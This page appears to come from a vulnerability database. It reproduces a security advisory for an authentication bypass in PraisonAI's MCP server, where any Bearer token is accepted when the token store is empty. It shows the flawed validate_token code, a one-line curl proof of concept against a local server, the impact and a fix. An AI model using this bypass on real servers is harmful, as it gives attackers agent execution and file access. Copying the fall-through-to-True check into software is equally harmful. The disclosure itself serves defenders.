Browse / MCP and Tool Server Flaws / CVE-2026-34953
PraisonAI Has Authentication Bypass via OAuthManager.validate_token()
- Class
- MCP and Tool Server Flaws (filed by a model that read the advisory)
- Technique
- Authentication and access control
- Also involves
- Tool and Agent Misuse
- Affected
- praisonai (PyPI)
- Gets past
- Authentication check
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- EPSS
- 0.4% chance of exploitation in 30 days
How it works, in short
validate_token accepts any bearer token when the token store is empty, so unauthenticated callers reach every MCP tool, including agent execution. (Our summary, written by a model. The source text is below.)
Details
Summary
OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.
Details
oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)
# source
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# sink -- _tokens is empty by default, loop never executes, falls through
return True
PoC
# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080
curl -s -X POST http://127.0.0.1:8080/mcp \
-H "Authorization: Bearer fake_token_abc123" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/list","id":1}'
# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write
Impact
Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.
Suggested Fix
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# Unknown tokens must be rejected.
# For external/JWT tokens, call the introspection endpoint here before returning.
return False
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5
- https://nvd.nist.gov/vuln/detail/CVE-2026-34953
- https://github.com/MervinPraison/PraisonAI
- https://github.com/pypa/advisory-database/tree/main/vulns/praisonai/PYSEC-2026-468.yaml
- https://pypi.org/project/praisonai
Source: GitHub Advisory Database, used under CC BY 4.0.